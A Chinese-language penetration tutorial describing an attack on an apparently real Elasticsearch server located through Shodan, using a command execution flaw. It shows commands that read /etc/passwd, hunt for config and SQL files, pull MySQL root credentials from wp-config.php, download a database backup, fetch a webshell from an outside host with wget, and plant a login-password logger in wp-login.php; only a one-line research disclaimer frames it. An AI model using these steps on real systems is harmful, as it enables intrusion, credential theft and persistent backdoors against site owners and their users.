ElasticSearch在一些大型企业内部往往部署的比较多,因此在获取某内网权限后,进一步的渗透就非常有意义了。在上一篇《ElasticSearch漏洞实战:通过perl进行反弹shell》中分析了通过perl脚本来获取反弹的shell,反弹的shell具有一定的时效性,本文就非perl方面的渗透进行探讨。
1.通过shodanhq搜索引擎搜索关键字“Elasticsearch”
首先在网站shodanhq.com注册一个用户,注册成功后需要通过邮箱进行激活,激活后即可使用。在搜索框中输入关键字“Elasticsearch”进行搜索,如图1所示,结果以top countries显示查询记录,在早期搜索结果中中国排名第一,后面以美国部署的服务器较多。在结果列表中随机选择一个IP地址,在本例中选择的是国外的IP。
图1搜索关键词“ElasticSearch”
2.通过FireFox便携版本进行漏洞测试
在FireFox便携版本输入地址“http://192.121.xxx.xxx:9200/_search?pretty”,然后单击“Load Url”,如图2所示,在Post Data中输入以下代码:
该代码的目的是读取linux操作系统中的/etc/passwd文件的内容,如果存在漏洞则读取passwd文件内容,反之则说明该漏洞不存在。
图2测试漏洞是否存在
3.查询敏感文件
在Post data中修改exec(\"cat /etc/passwd\")内容为exec(\"locate *.php \")、exec(\"locate *.sql \")、exec(\"locate *.conf \")等以获取敏感文件信息,如图3所示,表明该服务器可能使用php,且cms系统可能为wordpress。
图3寻找系统敏感信息
使用代码以下代码直接获取wp-config.php 文件所在路径“/usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”,如图4所示:
图4获取wp-config.php的路径
4.定位网站和真实路径
通过执行“cat /usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”来读取该文件内容,如图5所示,获取mysql数据库root账号和密码以及网站域名xxxxxxxxxxxxx.com
等信息。通过查看网站所在根目录,还发现有mysql文件备份,通过flashget下载工具将其下载到本地,如图6所示。
图5获取网站域名等信息
图6下载数据库文件#p#
5.获取webshell
通过执行命令:wget -O /usr/share/nginx/xxxxxxa2/__MACOSX/oxxxxxxxa/ wp-content/uploads /my.php http://www.antian365.com/data/cache/2.txt 将webshell下载到本地服务器中/usr/share/nginx/xxxxxx2/__MACOSX/xxxxxxxxxxxxx/ wp-content/uploads目录,webshell地址http://ocXXXXXx.com/wp-content/uploads/my.php,通过中国菜刀进行连接,如图7所示成功获取webshell权限。
图7获取webshell权限
6.讨论
在本例中通过命令执行漏洞下载了mysql数据库文件,通过查看该文件知道了wordpress管理员的密码等信息,如图8所示,可以对该密码进行破解,通过破解的密码和用户进行登录,再通过后台来提权,也可以轻松获取webshell后门。
图8获取wordpress后台管理员密码等信息
还可以在wp-login.php文件中加入密码记录代码,在if ( force_ssl_admin() && ! is_ssl() )代码结束处加入记录代码,如图9所示,加入后的代码如下:
定期访问http://www.antian365.com/wp-content/plugins/d.txt,即可获取管理员登录密码等信息。
图9记录wordpress密码代码
注:本文仅供安全研究使用。